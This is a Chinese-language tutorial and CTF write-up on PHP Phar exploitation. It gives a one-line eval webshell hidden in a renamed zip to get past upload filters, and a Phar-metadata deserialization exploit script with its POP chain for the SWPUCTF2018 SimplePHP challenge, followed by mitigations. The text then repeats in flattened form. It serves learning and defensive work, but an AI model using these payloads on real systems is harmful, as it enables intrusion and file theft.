Phar的一些利用姿势
字数 1202 2025-08-27 12:33:48

Phar文件利用技术详解

1. Phar文件概述

Phar(PHP Archive)是一种将多个PHP文件组合成单个归档文件的格式。主要特点包括:

  • 可以将完整的PHP应用程序打包为单个文件
  • 无需解压即可直接执行
  • 支持通过phar://伪协议访问

2. 利用姿势一:绕过上传限制

2.1 基本原理

利用phar://伪协议可以绕过一些上传WAF,通常与文件包含漏洞结合使用。

2.2 利用步骤

  1. 创建恶意PHP文件(如test.php)
<?php @eval($_POST["cmd"]); ?>
  1. 将文件压缩为ZIP格式
  2. 修改文件后缀为允许的格式(如.jpg)
  3. 通过文件包含执行
<?php include('phar://./test.jpg/test.php'); ?>

2.3 实战案例:安恒11月月赛image_up

  • 上传限制:仅允许jpg/png/gif/jpeg
  • 利用方法:
    1. 将PHP文件压缩后改后缀为.jpg上传
    2. 通过phar://协议包含执行
    /index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1
    
  • 注意点:需考虑时间戳时区问题(+8小时)

3. 利用姿势二:Phar反序列化漏洞

3.1 漏洞原理

当使用phar://协议读取phar文件时,会自动反序列化manifest中的meta-data信息。

3.2 Phar文件结构

  1. stub:必须以<?php __HALT_COMPILER(); ?>结尾
  2. manifest:包含文件元信息,meta-data会以序列化形式存储
  3. file contents:实际文件内容
  4. signature:签名验证

3.3 基本利用方法

  1. 创建包含恶意meta-data的phar文件
<?php
class Test {
    public $test = "test";
}

@unlink("test.phar");
$phar = new Phar("test.phar"); // 后缀必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Test();
$phar->setMetadata($o); // 存储序列化数据
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
  1. 触发反序列化
<?php
class Test {
    function __destruct(){
        echo "test";
    }
}
file_get_contents("phar://./test.phar/test.txt");
?>

3.4 利用条件

  1. 能够上传phar文件(可修改后缀绕过)
  2. 存在可利用的魔术方法
  3. 文件操作函数参数可控

3.5 实战案例:SWPUCTF2018 SimplePHP

漏洞分析

  • 文件上传功能:限制为图片格式
  • 文件读取功能:使用file_exists()检查文件
  • 目标:读取f1ag.php

POP链构造

  1. 入口点C1e4r::__destruct()
  2. 触发toString:将对象作为字符串输出
  3. 触发get:访问不存在属性
  4. 最终执行Test::file_get_contents()

EXP编写

<?php
class C1e4r {
    public $test;
    public $str;
}

class Show {
    public $source;
    public $str;
}

class Test {
    public $file;
    public $params = array();
}

@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$fun1 = new C1e4r();
$fun2 = new Show();
$fun3 = new Test();
$fun3->params['source'] = "/var/www/html/f1ag.php";
$fun2->str = array('str' => $fun3);
$fun1->str = $fun2;

$phar->setMetadata($fun1);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

利用步骤

  1. 上传构造的phar文件(改后缀为.jpg)
  2. 通过phar://触发反序列化
file.php?file=phar://./upload/[md5].jpg

4. 防御措施

  1. 禁用phar扩展(不推荐)
  2. 限制phar://协议的使用
  3. 对上传文件进行严格检查(内容而非扩展名)
  4. 避免危险的文件操作函数与用户输入直接结合
  5. 使用phar.intercept_filetype限制phar文件类型

5. 关键点总结

  1. 文件上传绕过:phar本质是压缩包,修改后缀可绕过扩展名检查
  2. 反序列化触发:任何文件操作函数+phar://都可能触发
  3. POP链构造:需分析可用魔术方法和类关系
  4. 实战注意:时区、路径、过滤规则等细节需考虑

通过深入理解phar文件结构和PHP反序列化机制,可以灵活运用这些技术进行安全测试和漏洞利用。

Phar文件利用技术详解 1. Phar文件概述 Phar(PHP Archive)是一种将多个PHP文件组合成单个归档文件的格式。主要特点包括: 可以将完整的PHP应用程序打包为单个文件 无需解压即可直接执行 支持通过phar://伪协议访问 2. 利用姿势一:绕过上传限制 2.1 基本原理 利用phar://伪协议可以绕过一些上传WAF,通常与文件包含漏洞结合使用。 2.2 利用步骤 创建恶意PHP文件(如test.php) 将文件压缩为ZIP格式 修改文件后缀为允许的格式(如.jpg) 通过文件包含执行 2.3 实战案例:安恒11月月赛image_ up 上传限制:仅允许jpg/png/gif/jpeg 利用方法: 将PHP文件压缩后改后缀为.jpg上传 通过phar://协议包含执行 注意点:需考虑时间戳时区问题(+8小时) 3. 利用姿势二:Phar反序列化漏洞 3.1 漏洞原理 当使用phar://协议读取phar文件时,会自动反序列化manifest中的meta-data信息。 3.2 Phar文件结构 stub :必须以 <?php __HALT_COMPILER(); ?> 结尾 manifest :包含文件元信息,meta-data会以序列化形式存储 file contents :实际文件内容 signature :签名验证 3.3 基本利用方法 创建包含恶意meta-data的phar文件 触发反序列化 3.4 利用条件 能够上传phar文件(可修改后缀绕过) 存在可利用的魔术方法 文件操作函数参数可控 3.5 实战案例:SWPUCTF2018 SimplePHP 漏洞分析 文件上传功能:限制为图片格式 文件读取功能:使用 file_exists() 检查文件 目标:读取f1ag.php POP链构造 入口点 : C1e4r::__destruct() 触发toString :将对象作为字符串输出 触发get :访问不存在属性 最终执行 : Test::file_get_contents() EXP编写 利用步骤 上传构造的phar文件(改后缀为.jpg) 通过phar://触发反序列化 4. 防御措施 禁用phar扩展(不推荐) 限制phar://协议的使用 对上传文件进行严格检查(内容而非扩展名) 避免危险的文件操作函数与用户输入直接结合 使用 phar.intercept_filetype 限制phar文件类型 5. 关键点总结 文件上传绕过 :phar本质是压缩包,修改后缀可绕过扩展名检查 反序列化触发 :任何文件操作函数+phar://都可能触发 POP链构造 :需分析可用魔术方法和类关系 实战注意 :时区、路径、过滤规则等细节需考虑 通过深入理解phar文件结构和PHP反序列化机制,可以灵活运用这些技术进行安全测试和漏洞利用。